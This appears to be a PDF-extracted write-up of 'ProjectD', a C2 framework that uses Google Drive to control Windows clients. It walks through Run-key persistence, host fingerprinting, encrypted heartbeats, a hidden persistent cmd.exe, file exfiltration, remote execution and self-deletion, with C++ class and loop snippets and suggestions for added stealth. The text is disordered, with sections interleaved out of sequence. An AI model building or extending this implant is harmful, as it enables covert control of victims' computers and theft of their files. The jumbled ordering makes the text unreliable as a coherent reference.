DriveAPI driveAPI  – interface for Google Drive REST calls (searching files, uploading/downloading JSON data). The client
uses this to communicate with the server by reading/writing files in a designated Drive folder.
Encryption encryptionClient  – cryptography helper (using libsodium) configured for the client role. It generates the
client's key pair and handles encryption/decryption (including Diffie-Hellman key exchange to derive session keys, and AES-
256-GCM for data encryption).
Unique ID clientID  – the Google Drive folder ID for this client. This uniquely identifies the client's directory in Drive. It's
generated on first run and then stored for reuse.
Symmetric Keys receiveKey  and transmitKey  – session keys derived from a client-server key exchange. The client uses
receiveKey  to decrypt commands or data sent from the server, and uses transmitKey  to encrypt anything it uploads (so
only the server can decrypt it).
Status Tracking statusFileID  – stores the Drive file ID of the client's "status" file. The client updates this file periodically
with a timestamp to signal that it's alive.
Command State lastProcessedCommandFile  – remembers the last command file name that was handled. This prevents
processing the same command twice if the file remains on Drive.
Persistent Shell Handles hShellStdin , hShellStdout , shellPI , shellRunning  – handles and state for an optional
persistent shell (a hidden cmd.exe  process). If enabled, the client spawns a background command shell once and reuses
it for executing multiple commands, which is more efficient and preserves shell state. These members track the shell
process and its I/O pipes.

class Client {

public:

Client();

void PersistInSystem();

std::string ReadFromRegistry();

void ExtractUploadClientInfo();

void UpdateRealTimeStatus();

std::tuple<bool, std::string, std::string> CheckForCommands();

std::string ExecuteCommand(const std::string& command);

void Shutdown();

void EncryptAndUploadData(const std::string& fileName, const std::string& data, const std::string&

fileUpdate);

std::string DownloadAndDecryptData(const std::string& fileID);

std::string CheckFileExists(const std::string& fileName);

std::string GetFileParentId(const std::string& fileId);

std::string DownloadData(const std::string& fileId);

std::string GetClientID() const;



The Client class is self-contained and doesn't open any listening network sockets. Instead, it communicates entirely by
manipulating files on Google Drive (the "C2" medium), similar to the server. The client's primary responsibilities are to establish
an initial presence (create its folder and keys, report system info, and ensure it auto-starts), then enter a loop to receive and
execute commands from the server. Execution of commands may spawn local processes (for shell commands or running
programs), but there is no direct interactive console on the client side – it runs silently in the background.

Initialization and Key Exchange

When the client executable starts, the main()  function creates a Client object, which triggers the constructor to perform a
series of setup steps. Inside the Client constructor, the following operations occur (in order):

std::string RunExecutable(const std::string& exePath);

std::string GetRemoteFileName(const std::string& fileId);

bool SpawnShell();

void CleanupShell();

bool IsShellAlive() const;

**snip snip**

private:

std::string clientID;

std::string statusFileID;

std::string lastProcessedCommandFile;

DriveAPI driveAPI; // Google Drive interface

Encryption encryptionClient; // Crypto helper (libsodium)

std::vector<unsigned char> clientPublicKey;

std::vector<unsigned char> receiveKey, transmitKey;

HANDLE hShellStdin = nullptr, hShellStdout = nullptr;

PROCESS_INFORMATION shellPI{};

bool shellRunning = false;

};

Google Drive Authentication: The client loads a Google service account credential (a JSON key file) and authenticates to
the Drive API. Just like the server, it generates a JWT and exchanges it for an OAuth access token internally (via
driveAPI.Authenticate() ). If this fails, the client cannot proceed (it will log a warning and return).
Client Folder Setup: Next, the client establishes its dedicated folder on Google Drive. It calls ReadFromRegistry()  to see if
a clientID  was stored from a previous run. If an ID exists, the client verifies that the corresponding folder still exists on
Drive (via a search by ID). If the registry has no ID (first run) or the folder was not found, the client creates a new folder by
calling driveAPI.CreateUserFolder() . This returns a fresh unique folder ID which becomes the new clientID .
Immediately after creation, the client calls PersistInSystem()  to record this ID in the registry and ensure the program will
auto-run on startup (persisting its presence on the host).

PersistInSystem: This method writes two registry entries. First, it opens the Run key at
HKCU\Software\Microsoft\Windows\CurrentVersion\Run  and adds a value (named "ControlD"  in this prototype)
pointing to the client's executable (or a shortcut .lnk  path). This causes Windows to launch the client automatically for
the current user at logon. (This technique corresponds to MITRE ATT&CK persistence via Registry Run Keys.)
Second, it creates a custom key HKCU\Software\ControlD  and stores the clientID  under value "ID" . On
subsequent launches, the client will read this to reuse the same Drive folder.

Key Pair Generation & Upload: The client then generates a new public/private key pair for itself (Ed25519 curve) by calling
encryptionClient.GenerateKeyPair() . The resulting 32-byte public key ( clientPublicKey ) is Base64-encoded and
wrapped in JSON, then uploaded to the client's Drive folder as a file named public_key . If a file by that name already
exists (e.g. from a previous run), it is updated in place rather than duplicating. This public key file is how the server will later
retrieve the client's key to establish a shared secret.

Server Public Key Fetch: The client now needs the server's public key. It uses
driveAPI.SearchFileName("server_public_key")  to find the server's key file on Drive. This file is accessible to all clients.
The client downloads the JSON content of server_public_key  and extracts the Base64 string of the key, then decodes it to
obtain the server's 32-byte public key.
Shared Secret Derivation: With one party's public key (server) and the other's private key (client), the client computes a
pair of shared symmetric keys. It calls encryptionClient.CreateSharedKeys(clientKeyPair, serverPublicKey) , which
uses libsodium's Diffie-Hellman (X25519) under the hood to derive two 256-bit keys. The result is split into a receive key
and transmit key. The Client stores these as receiveKey  and transmitKey  – from now on, all messages from
server→client will be decrypted with receiveKey , and all data client→server will be encrypted with transmitKey .
System Information Upload: After encryption is set up, the client gathers detailed system info and sends it to the C2.
ExtractUploadClientInfo()  is called to collect data like the current timestamp, username, OS version/build, CPU
architecture, total and free disk space, and physical memory status. Let's walk through how this info is gathered, step by
step, referencing the key WinAPI functions we used and why they fit perfectly for the job.



With these steps complete, the Client object is fully initialized. The client has an established Drive folder with all requisite
metadata (keys, host info, etc.) and a secure channel to the server via the shared keys. It's also anchored itself for persistence
on the system. Now the execution flow moves to the main loop where the client waits for instructions.

Continuous Polling Loop and Status Updates

After constructing the Client, ClientMain.cpp  enters an infinite loop to continuously poll for server commands and update
status. The code is essentially:

First, we capture the current local time using std::chrono::system_clock::now()  and format it with std::put_time  –
straightforward C++ standard library stuff for a human-readable "YYYY-MM-DD HH:MM:SS" string.

Next, to get the logged-in username, we call GetUserNameW. This function retrieves the name of the user associated with
the current thread (which could be an impersonated user if applicable), storing it in a wide-char buffer. We chose it because
it's simple, reliable for Windows environments, and directly gives us the string we need without extra parsing – plus, it
handles up to UNLEN (255) characters, more than enough for typical usernames.

For hardware details, we fetch the processor architecture with GetNativeSystemInfo, which fills a SYSTEM_INFO struct.
This is preferred over GetSystemInfo because it accurately reports the native architecture on WOW64 (e.g., x64 on a 64-bit
OS running 32-bit code). We switch on wProcessorArchitecture  to map it to a friendly string like "x64 (AMD or Intel)" –
essential for the server to know the target's capabilities.

OS version comes from GetVersionEx (with OSVERSIONINFOEX) for major/minor/build numbers, though it's deprecated in
newer Windows – we suppress the warning and use it here for compatibility. Then, GetProductInfo refines that into a product
type code (e.g., workstation vs. server). These were selected as the classic way to fingerprint Windows editions without
needing admin privileges.

Disk stats are pulled via GetDiskFreeSpaceExA, querying the root drive for total and free bytes in ULARGE_INTEGERs. It's
ideal because it handles large drives (>2GB) accurately and works on network shares too – we convert to GB strings for
easy reading.

Finally, memory info uses GlobalMemoryStatusEx to fill a MEMORYSTATUSEX struct with total and available physical RAM.
This extended version supports 64-bit values, crucial for modern systems with lots of memory; we format to MB strings.

These details are assembled into a JSON object. The client then checks if an info  file already exists in its folder and gets
its ID if so. Finally, it serializes the JSON and calls EncryptAndUploadData("info", serialized_json, fileInfoID)  to
encrypt this info with the transmitKey  and upload it to Drive (creating the info  file if it's the first time, or updating it if one
exists). This provides the server with an initial footprint of the new client (or an updated profile of the host on repeat runs).
Status Beacon Setup: The client prepares to maintain a heartbeat indicating it's online. It uses
CheckFileExists("status")  to see if a status  file is already present in the folder (left from a previous session). If found,
the file ID is stored in statusFileID ; if not, statusFileID  remains empty. The constructor then immediately calls
UpdateRealTimeStatus()  once to post the first heartbeat. Inside that method, the client gets the current time (in UTC) and
formats it as "YYYY-MM-DD HH:MM:SS" . It then creates a JSON {"Last Check Time": "<timestamp>"}  and
encrypts+uploads it to the status  file on Drive. (If statusFileID  was empty, UpdateRealTimeStatus()  will first call
CheckFileExists  again and thereby create a new status  file on upload.) This mechanism sets up a persistent "I am alive"
indicator that the server (or operator) can monitor.
Persistent Shell Launch (Optional): As the final initialization step, the client attempts to create a hidden persistent shell.
Calling SpawnShell()  will spawn a new cmd.exe  process in quiet mode ( /Q ) that stays open ( /K ) in the background. The
code uses Win32 APIs to create two pipes: one for the shell's stdin and one for its stdout. These pipes are passed to the
new process via its STARTUPINFO  (so the shell's input/output are hooked to our handles). If CreateProcessW  succeeds, the
parent process (client) closes the child-end handles and keeps hShellStdin  (write handle to shell input) and
hShellStdout  (read handle from shell output). A message is logged with the shell's PID, and shellRunning  is set to true .
From this point, the client has a live cmd.exe session at its disposal to execute commands. (If the shell fails to spawn,
shellRunning  remains false  and the client will simply run commands in one-off processes as needed.)

Client user = Client();

int sleepTime = 10000; // 10 seconds default polling interval 

int currentSleepTime = sleepTime;

while (TRUE) {

https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-getusernamew
https://learn.microsoft.com/en-us/windows/win32/api/sysinfoapi/nf-sysinfoapi-getnativesysteminfo
https://learn.microsoft.com/en-us/windows/win32/api/sysinfoapi/nf-sysinfoapi-getversionexw
https://learn.microsoft.com/en-us/windows/win32/api/sysinfoapi/nf-sysinfoapi-getproductinfo
https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getdiskfreespaceexa
https://learn.microsoft.com/en-us/windows/win32/api/sysinfoapi/nf-sysinfoapi-globalmemorystatusex
https://learn.microsoft.com/en-us/windows/win32/api/sysinfoapi/ns-sysinfoapi-memorystatusex


Each iteration, the client checks its Google Drive folder for any new command_file  uploaded by the server. This is done via
CheckForCommands() , which queries Drive for files with name matching "command_file"  in the client's folder. If one or more
command files exist, it takes the first result. The client compares the file's name to lastProcessedCommandFile  to ensure it
hasn't already handled it. If it's a new command, CheckForCommands()  returns a tuple (true, <fileID>, <identifier>)
where identifier is a unique token extracted from the filename (e.g. a timestamp or random string after the last underscore). This
identifier will be used to name the output file for that command. The method also updates lastProcessedCommandFile  so that
the client won't repeat this command on the next loop.

Back in the main loop, if a new command was indicated ( std::get<0>(newCommand)  is true), the client knows a server
instruction is waiting to be executed:

If no command is found in a cycle, the client takes a different path: it will gradually increase its sleep interval to reduce
resource usage. The code uses a helper getMin(currentSleepTime + 100, sleepTime)  – meaning each idle loop adds 100
ms (0.1s) to the delay, capping at the default of 10 seconds. This implements a simple back-off strategy: after handling a
command (when currentSleepTime  is reset to 0.5s), the polling slows down over time if no further commands arrive, up to a
max of 10s between checks. This behavior balances responsiveness with not constantly hammering the Drive API when idle.
The use of Sleep(currentSleepTime)  (a WinAPI call analogous to std::this_thread::sleep_for ) pauses the loop for the
specified duration.

At the end of each loop iteration, the client updates its heartbeat. UpdateRealTimeStatus()  is called every time through the
loop, but internally it only performs an update once per minute (it tracks the last update time using a static timestamp). If at least
60 seconds have elapsed (or it's the first run), the client will record the current UTC time and upload it to the status  file as
described earlier. If less than a minute has passed, UpdateRealTimeStatus  simply returns without doing anything. This ensures
the status  file isn't spammed on every loop iteration, while still providing roughly one-minute granularity of client liveness. (In
the code snippet above, you may notice timing printouts around UpdateRealTimeStatus()  – those are just debug messages
measuring how long the upload took, and would be removed in production.)

The client's main loop as a whole runs on a single thread in this implementation – there are no separate background threads
within the client process. The combination of a controlled sleep interval and periodic status pings is the client's way of remaining
responsive to the server while being resource-conscious during idle periods.

Command Handling and Execution

When the client detects a new command file, it downloads and processes it immediately. Command files are JSON payloads
created by the server, containing at minimum a "type"  field (indicating what action to perform) and a "command"  field (with any

auto newCommand = user.CheckForCommands();

std::string commandOutputName = "command_output_" + std::get<2>(newCommand);

std::string fileCommandOutputID = user.CheckFileExists("command_output");

if (std::get<0>(newCommand)) {

// A new command file was found

currentSleepTime = 500; // speed up polling (0.5s) after a command

// (Download and handle the command... **snip snip**)

} else {

// No new command found

currentSleepTime = getMin(currentSleepTime + 100, sleepTime);

}

Sleep(currentSleepTime);

user.UpdateRealTimeStatus();

}

It immediately shortens the sleep interval to 500 ms. This allows the client to check again very quickly, which is useful in
case there are multiple back-to-back commands or a follow-up action expected promptly by the server.
It forms the output filename by concatenating "command_output_"  with the identifier from the command file. For example,
if the incoming command file was named "command_file_20250707_133623" , the client will prepare to create
"command_output_20250707_133623" . This naming convention pairs each command with its result.
It calls CheckFileExists("command_output")  to see if any file with the base name "command_output"  already exists in the
folder. The implementation of CheckFileExists  actually searches within this client's folder for a given name. If an older
output file is present (perhaps from a prior command), this returns its file ID so the client can choose to update that file
rather than create a new one. (In practice, the server may delete or overwrite old command files, but the client double-
checks to avoid clutter.)



parameters or arguments). The client uses DownloadAndDecryptData(fileID)  to fetch the command file's contents from Drive.
This method will retrieve the file (which is a JSON blob encrypted in Base64) and then try to decrypt it using first the
receiveKey  (since commands sent by the server are encrypted with the server's transmit key, which corresponds to the client's
receive key). If that fails (e.g. if the file wasn't encrypted with the server's key), it falls back to transmitKey  – but in normal
operation, the first key should succeed for command files. The decrypted JSON text is then parsed.

Based on the "type"  field in the command JSON, the client executes different routines. The supported command types and
their behaviors are:

"cmd"  – Execute Shell Command: The client will run the provided string as a command in Windows CMD and capture its
output. If the persistent shell was successfully spawned at startup ( shellRunning == true ), the client uses it to execute
the command within the long-lived cmd.exe  process. This involves writing the command into the shell's stdin and reading
the result from its stdout pipe. The implementation appends a special sentinel marker (e.g. & echo __END__ ) to the
command, so that the shell will print a known terminator string when the command finishes. The client reads from the stdout
pipe until it detects the sentinel in the output, then it removes that marker and obtains the final output text. Using a persistent
shell in this way avoids the overhead of launching a new process for each command and preserves state (current directory,
loaded environment variables, etc.) between commands. If for some reason the persistent shell isn't available (not running or
pipe write fails), the client falls back to a one-shot execution path. In the fallback, it creates a new process with
CreateProcess("cmd.exe /C <command>")  for the command, directing its output to a pipe, then reads the entire output
once the process completes. Once the command is executed (by either method), the client takes the captured stdout text
and calls EncryptAndUploadData(...)  to upload it to the Drive as the command output file (using the name prepared
earlier, e.g. command_output_... ).
"download"  – Download File from Drive: This instructs the client to retrieve a file from Google Drive and save it to the
local filesystem. The "command"  field for a download contains two parts: a Drive file ID and a destination path on the client's
machine (separated by a space). The client first parses out the fileID  and destinationPath  from the command string. It
then determines whether the file is one of its own encrypted files or not by checking the file's parent folder on Drive:
GetFileParentId(fileID)  returns the folder ID containing that file, and if it matches the client's own clientID , the client
concludes the file was uploaded by itself previously (and thus is encrypted with its transmitKey ). In that case, it uses
DownloadAndDecryptData(fileID)  to fetch and decrypt the file. If the file sits outside the client's folder (e.g. perhaps a
benign file or a resource the server placed elsewhere), the client calls DownloadData(fileID)  which fetches the raw file
content without attempting decryption. After obtaining the file's bytes (or encountering an error), the client proceeds to write
the data to the specified local path. The code uses C++17 <filesystem>  to handle the destination path: it checks if the
given path should be treated as a directory (if the path points to an existing directory or if it has no filename extension). If so,
it creates the directory (and any necessary parent directories), then appends the remote file's original name to that path.
(The original filename is retrieved via GetRemoteFileName(fileID) , which calls the Drive API to get the file metadata.) If the
destination path looks like a file (has an explicit filename and extension), the client ensures the parent directory exists and
uses the path as given. It then opens a local file stream and writes the downloaded bytes to disk. Finally, the client reports
the outcome: on success, it logs and uploads a message like "File successfully downloaded to C:...<name>"; on failure
(empty data, bad file ID, or filesystem error), it uploads an error message describing what went wrong. All such messages
are sent to the server by calling EncryptAndUploadData(commandOutputName, <message>, fileCommandOutputID)  so that
the server/operator can see the result of the download request.
"upload"  – Upload File from Client: This is essentially the opposite of the download command. The "command"  content
in this case is expected to be a local file path on the client. The client will attempt to read the file from disk and upload its
contents to the Drive C2. On receiving an upload command, the client first verifies the file path string isn't empty. It then
opens the file in binary mode and reads its entire contents into memory. If the file cannot be opened (e.g. it doesn't exist or
access is denied), the client encrypts+uploads an error message to the output file (stating it failed to open the given path). If
reading succeeds, the client extracts just the filename from the path (e.g. /home/user/docs/**report.pdf**  ->
report.pdf ). It then calls EncryptAndUploadData(fileName, fileData, fileCommandOutputID)  to encrypt the file bytes
and upload them to Drive. Here, the fileName  is used as the name of the new file on Drive, and by providing the
fileCommandOutputID  (if an existing output file ID was found earlier), the client ensures the upload either creates a new file
or updates an old placeholder. In effect, the raw file from the client's machine is now available on Drive (within the client's
folder) under its original name. The server or operator can fetch this file from the Drive C2 for inspection. No additional
success message is needed in this case – the presence of the uploaded file itself is the result.
"run"  – Run an Executable: This instructs the client to launch a program or file on the host system. The command  field
contains the path to an executable (or script/batch file) that already exists on the client machine. Upon receiving this, the
client uses the Windows API CreateProcess  to attempt to start the process. The implementation in RunExecutable()  sets
up a STARTUPINFO  and simply calls CreateProcess(NULL, <exePath>, ...)  without creating a window (it doesn't pass
CREATE_NO_WINDOW  here, so it will use default, which may create a window if the app is GUI). After launching, it immediately
closes the process and thread handles (not waiting for the spawned program to finish). The client then returns a status string
– on failure, it includes the Windows error code ( GetLastError() ), and on success it returns a generic confirmation
message. This result message (e.g. "Executable launched successfully." or an error code) is then encrypted and uploaded to
the Drive output file for the server to see.



For any unrecognized command types, the client simply logs an error to stderr (and would ignore the command). In practice, the
server should only send one of the above valid types.

Throughout the command handling logic, the client uses EncryptAndUploadData  for sending back results. This helper takes a
plaintext string, converts it to a byte vector, encrypts it with the client's transmitKey  (AES-GCM via libsodium), Base64-
encodes the ciphertext, and uploads it as a JSON file to Drive. By passing the appropriate fileName  and (optionally) an
existing fileUpdate  ID, it either creates a new file or updates an existing one. This is how outputs (whether command results,
status messages, or uploaded file data) are delivered securely to the server.

Shutdown and Self-Destruct

The Shutdown procedure is designed to cleanly deregister the client and remove it from both the host and the C2. This can be
triggered remotely by the "shutdown"  command or conceivably by the client itself in some scenarios. When
Client::Shutdown()  is called, it performs the following:

After triggering the self-delete, the client process exits. On the server side, the last thing the operator sees from this client is the
"Client shutdown."  message that was uploaded to the Drive before termination. From that point on, the client's folder and
files on Drive should be gone and the program will not restart (since its persistence was removed and the binary is deleted).
Essentially, the client has completely self-destructed in response to the shutdown command.

Summary

Throughout this whole sequence, it's important to note that while the ProjectD client implements the core functionality of a C2
agent (persistence, key exchange, encrypted comms, command execution, and cleanup), it does so in a straightforward manner
without attempting to hide from detection. For example, using a Run key for autostart and spawning cmd.exe  for command
execution are effective but noisy techniques – easily noticed by savvy users or security software. Future enhancements could
focus on stealth (e.g. running in memory, process injection, or obfuscating its registry entries). However, the current
implementation provides a clear, educational look at how such client malware operates under the hood, trading stealth for
simplicity.

Server Component

The server side of ProjectD is implemented by the Server class and a simple main  routine. This component is responsible for
tracking all client devices, distributing commands, and relaying results via Google Drive. It uses Google's cloud storage as the
C2 channel, and employs strong encryption (via libsodium) to secure all data in transit. In this section, we'll examine the Server
class design, its threading model, and the main loop that drives it. We'll follow the server's operation chronologically – from
initialization and client monitoring to interactive command sessions and the final shutdown sequence – explaining key code
segments along the way.

"shutdown"  – Terminate Client: This command instructs the client to gracefully shut itself down and remove traces. When
the client sees a shutdown command, it invokes its Shutdown()  method and then uploads a final message ("Client
shutdown.") to the server before exiting. The Shutdown()  routine is described in detail in the next section.

Remove Persistence: The client deletes the registry entries it created for persistence. It opens the Run key and removes
the "ControlD"  value so that Windows will no longer auto-launch the client on login. It also opens the custom
HKCU\Software\ControlD  key and deletes the stored ID  value. These steps ensure no artifacts remain in the registry to
point to the client after it's gone.
Delete C2 Folder: The client then instructs the Drive API to wipe its entire folder in the cloud. It calls
driveAPI.MassDeleteFiles(clientID) , which presumably deletes the folder and all files within it on Google Drive. This
essentially severs the client from the C2 server by removing its presence in the shared Drive space (so the server will know
it's gone, and any later reuse of the same ID would fail).
Self-Delete Executable: Finally, the client removes its own binary from the filesystem. Since a process cannot directly
delete its running .exe , the client employs a common self-deletion trick using a batch script. It obtains its current executable
path via GetModuleFileName , then queues the containing directory for deletion on reboot using MoveFileExA  (harmless if
it's already gone). It creates a new .bat  file with the same path plus ".bat" extension. Into this batch file it writes a short
loop that repeatedly tries to delete the client's EXE file until successful, then deletes the batch file itself. The client then
launches this script in the background ( start /b "" cmd /c <batchFileName> ) using ExecuteCommand , and cleans up any
persistent shell by calling CleanupShell() . Finally, it calls ExitProcess(0)  to terminate itself. The batch script (now
running in a separate process) will carry out the deletion of the original executable and then remove its own .bat file, leaving
no trace of the client program on disk.



Class Overview and Design

The Server class serves as the orchestrator of C2 operations. It encapsulates:

The Server class is largely self-contained. It doesn't spawn network sockets or child processes; instead, it communicates with
clients by reading/writing files in their dedicated Drive folders. This design offloads heavy lifting (connectivity, storage) to
Google's infrastructure. The server's main tasks are to maintain an updated list of clients, handle encryption for each client
session, and facilitate an operator console – a text-based menu for issuing commands. Next, let's walk through how the server
starts up and prepares its environment.

Initialization and Key Management

When you launch the server, the main()  function first handles Google Drive authentication using a service account
credentials file. A JSON Web Token (JWT) is generated and exchanged for an OAuth access token to use the Drive API. The
jwt-cpp library is used here to create the signed JWT (per Google's spec) and cpp-httplib to perform the HTTPS POST request
to Google's OAuth endpoint. If authentication succeeds, the main routine proceeds to construct the Server object:

DriveAPI driveAPI  – a helper for Google Drive REST calls (listing files, uploading/downloading data, etc.). This allows the
server to treat Drive as its network and storage backend.
Encryption encryptionServer  – an instance configured with the Server role that handles cryptographic functions (key
generation, encryption/decryption). It uses libsodium under the hood for robust cryptography (e.g. Diffie-Hellman key
exchange and AES-256-GCM encryption).
User Cache userCache  – an in-memory map ( unordered_map ) from user ID to a UserInfo struct. This caches each client's
username, last known status (Online/Offline), public key, and last check-in time. The cache is continually updated by a
background thread to reflect near real-time client info.

Server Key Pair serverPublicKey  and serverPrivateKey  – the server's own long-term key pair for asymmetric
encryption. The public half is shared with clients via Drive, while the private half stays on the server.
Session Keys transmitKey  and receiveKey  – symmetric keys derived for each client session. These are generated
through a key exchange (one key used to encrypt data sent to the client, and the other for data from the client). The server
computes these keys on the fly whenever it contacts a client's folder.
Miscellaneous: lastProcessedCommandOutput  (tracks the last command result file seen to avoid duplicate processing),
and constants like COMMAND_TIMEOUT  (30s) and POLL_INTERVAL  (100ms) to control waiting for client responses. There's
also a static PRIVATE_KEY_FILE  path where the server's private key is stored persistently on disk.

class Server {

public:

Server();

void ListAllUsers();

void ListUserFiles(std::string folderID);

void ListRootFiles();

void UploadMassCommand(const json& command, bool purgeOffline = false);

void UploadCommand(const json& command, const std::string folderID);

std::string DownloadCommandResult(const std::string userID, const std::string commandOutputID);

std::pair<bool, std::string> CheckForCommandsResults(const std::string folderID);

void InitiateUserConnection(const std::string userID);

void LogActivity(const std::string& activity, const std::string& userName, bool isServer);

void MonitorClientActivity();

void SelfDestruct();

bool ValidateCommandSyntax(const json& command, const std::string& connectedUserID);

void EncryptAndUploadData(/* ... */);

**snip snip**

private:

DriveAPI driveAPI; // Google Drive interface

Encryption encryptionServer; // Crypto routines (libsodium)

std::string lastProcessedCommandOutput;

std::vector<unsigned char> serverPublicKey, serverPrivateKey;

std::unordered_map<std::string, UserInfo> userCache;

std::pair<std::vector<unsigned char>, std::vector<unsigned char>> serverKeyPair;

std::vector<unsigned char> receiveKey, transmitKey;

bool FileExists(const std::string& fileId);

static constexpr const char* PRIVATE_KEY_FILE = "server_private_key.b64";

};



Inside the Server constructor, a number of important setup steps occur:

At this stage, the server is authenticated to Drive and ready to communicate securely. The next concern is how the server keeps
track of client activity. This is accomplished via a background thread that continuously monitors all clients.

Background Client Monitoring (Threading Model)

Once the Server object is initialized, main()  launches a monitor thread that runs in parallel to the interactive console. This
thread calls Server::MonitorClientActivity()  in an infinite loop, sleeping between iterations:

std::thread

std::thread (C++11) allows concurrent execution of code. Here it's used to spawn a detached thread that periodically polls
Google Drive for client updates, while the main thread remains free to accept user input. The call to
std::this_thread::sleep_for  pauses the thread for a fixed interval (30 seconds in this case) between monitoring cycles.

The MonitorClientActivity method is essentially a heartbeat that refreshes the server's view of all clients. It works as follows:

// ServerMain.cpp (main function excerpt)

DriveAPI drive;

std::string private_key = load_private_key_from_json("c2server-...180c6.json");

std::string jwt_token   = drive.GenerateJWT(private_key);

drive.RequestAcessToken(jwt_token);

// **snip** (after obtaining access token)

Server server = Server();

Google Drive Setup: The constructor calls driveAPI.Authenticate(private_key) , which internally invokes the same JWT
generation and token request flow (if not already done). This ensures the DriveAPI  client has a valid accessToken  to
authorize subsequent requests.
Server Key Pair Handling: The server needs its own asymmetric key pair for secure communications. On the very first run,
no server key exists on Drive, so the constructor uses encryptionServer.GenerateKeyPair()  to create a fresh key pair
(32-byte public and 32-byte private key). The private key is then saved locally (to server_private_key.b64 ) and the public
key is uploaded to Drive, in a JSON file named "server_public_key" . This upload makes the server's public key visible to
all clients (they will fetch it to perform the key exchange).

If the server has been run before, it will find an existing "server_public_key"  file on Drive. In that case, the
constructor downloads that file to retrieve the stored public key. If that JSON also contained a "private_key"  field
(meaning it was an older deployment where both halves were stored in the cloud), the server will migrate to a safer
setup: it decodes the private key, saves it locally, then overwrites the Drive file to remove the private key. Normally,
however, the Drive file only contains the public key. The server reads its own private key from disk
( LoadPrivateKey() ), and if that fails (file missing), it aborts startup to avoid any key mismatch.
In either scenario, by the end of the constructor the server has loaded or generated: serverKeyPair = {
serverPublicKey, serverPrivateKey } , and ensured the public key is stored on Drive for clients. It logs whether it
"Loaded existing server keys" or "Generated and uploaded new server keys" accordingly.

Encryption Context: The Encryption  member ( encryptionServer ) was constructed with role=Server, which initializes
libsodium and prepares for key exchange as a server. No symmetric keys are derived yet at this point – those will be created
on a per-client basis when needed.

// Launch background monitoring thread (ServerMain.cpp)

std::thread monitorThread([&server]() {

while (true) {

server.MonitorClientActivity();

std::this_thread::sleep_for(std::chrono::seconds(30));

}

});

Calls driveAPI.ListUsers()  to retrieve a list of all user folders on Drive. Each "user" is represented by a folder (usually
named with a unique ID). The DriveAPI returns a JSON array where each element includes the folder's id  and possibly
known file IDs for that user's info, status, and keys.
The server records the current time ( system_clock::now() ) at the start of monitoring. This will be used to determine if
clients are online.



By running this logic periodically in a separate thread, the server maintains an updated roster of active clients without manual
intervention. The main thread can consult userCache  at any time (e.g. to initiate a connection) to know which clients are
available and when they last responded.

Concurrency considerations: Because the monitor thread and the main thread access shared data (like userCache  and
encryption keys), care must be taken to avoid data races. In this implementation, updates happen in one thread while reads
happen in another. In practice, the operations are simple and infrequent enough that race conditions are unlikely to corrupt data
(e.g. replacing a user entry atomically). However, in a more robust future design I might add a std::mutex  to guard userCache
if simultaneous read/write became an issue in the future.

UserCache

After each monitor cycle, userCache  entries hold a snapshot of each client's state. We also expose a ListCachedUsers()
method (triggered by a menu option) which simply prints the contents of this cache for the operator to review. It shows each
cached user's ID, Username, Status, Last Check Time, and Public Key.

With the background thread ensuring clients are continuously tracked, we can now explore the interactive portion: the server's
command console that allows the operator to list users, inspect files, and start a session with a specific client.

Menu and User Listing Functions

The server's main thread runs an interactive menu loop to accept operator commands via the console. The menu (printed by
ShowMenu() ) provides options to list users, list files, initiate a connection, upload/download files, execute a mass shutdown,
etc.. Several of these menu choices map directly to Server class methods:

It then loops through each user entry:
1. Public Key Presence: The server checks if the client's "public_key"  file still exists via

CheckFileExists("public_key", userID) . If not found, it assumes that client has disconnected or been removed. In
that case, it logs a warning and removes the user from the cache. This prevents stale data for defunct clients.

2. Key Exchange: If the public key is present, the server calls EstablishEncryptedConnection(userID)  to establish or
update the session keys for that client. Inside this function, the server downloads the client's public key (if not already
fresh) and uses libsodium's key exchange to derive new receiveKey  and transmitKey  for communication. The
Encryption::CreateSharedKeys method performs an Elligator-based Diffie–Hellman exchange ( crypto_kx_*  in
libsodium) to produce two 256-bit keys – one for each direction. These symmetric keys are stored in the Server object
for subsequent encryption/decryption with that client. The server also updates the userCache  with the client's public key
and the last time it changed on Drive.

3. Decrypt Client Info: With keys in place, the server can read the client's data. If the Drive listing indicated an "info_id"
(which points to the client's info JSON file), the server downloads that file and decrypts it using the current receiveKey .
The decrypted JSON (let's call it decryptedInfo) contains static details like Username, Operating System Version,
Processor Architecture, etc. These were originally uploaded by the client during its initialization.

4. Decrypt Status: Similarly, if a "status_id"  was present, the server downloads and decrypts the status JSON. The
status typically has a Last Check Time (a timestamp of the client's last heartbeat). The server takes this timestamp (a
string) and runs it through ProcessUserStatus()  to determine if the client is Online or Offline. In our implementation, a
client is considered "Online" if its last check-in was within the past 2 minutes; otherwise "Offline". The function returns
both the status and a nicely formatted last-seen time.

5. Update Cache: The server populates a UserInfo entry for this user ID with the decrypted username, public key, status
string, and last check time. This ensures userCache  has the latest info. If an entry already existed, it's updated; if not, a
new one is inserted.

If any errors occur during processing a user (e.g. JSON parse error, decryption failure), the server catches the exception and
continues with the next user.

List All Users (Menu Option 2) – Invokes Server::ListAllUsers() . This function fetches and displays every user's info in
a one-off fashion. Under the hood, it does a similar process to the monitor (without updating the cache extensively): it calls
driveAPI.ListUsers()  and for each user, establishes an encrypted connection and decrypts their info and status files. It
then prints a formatted summary to the console with key details like user ID, username, OS version, architecture, public key,
last check-in time, and current status. This provides an immediate overview of all clients known to the system. If no users
are found, it simply prints "No users found.".
List User Files (Menu Option 3) – Invokes Server::ListUserFiles(userID) . This function lists the contents of a given
user's Drive folder. It calls driveAPI.ListUserFiles(folderID)  to retrieve all files in that folder (each client's folder
contains any files the client has uploaded, such as exfiltrated data or command output). The server then prints each file's



All these listing functions rely on the DriveAPI to query Google Drive and return JSON metadata. They don't perform any
decryption (except ListAllUsers  which does to show user info), since file names/IDs are not encrypted.

With the ability to enumerate clients and their files, the operator can identify a target of interest and initiate a direct command
session. The next section describes how the server enters an interactive shell to communicate with one client at a time.

Initiating a Client Session (Interactive Command Loop)

Perhaps the most important feature of the server is the ability to connect to a specific client and issue commands as if you had a
remote shell. This is handled by Server::InitiateUserConnection(userID) – called when the operator selects menu option 1
and enters a target user's ID. This method sets up an interactive command loop bound to that client.

Before entering the loop, the server double-checks a few things:

This prompt mimics a Windows shell on the victim ( C:\Users\<Username>> ) to make it feel like an authentic remote terminal.

Now the server enters a while-loop reading commands from std::getline(std::cin, commandInput)  in a blocking manner.
This loop continues until the operator types an exit  command to break out. Within each iteration, the following logic occurs:

Drive ID and name. This is useful to see what artifacts a particular client has in their storage. If the folder is empty or the ID
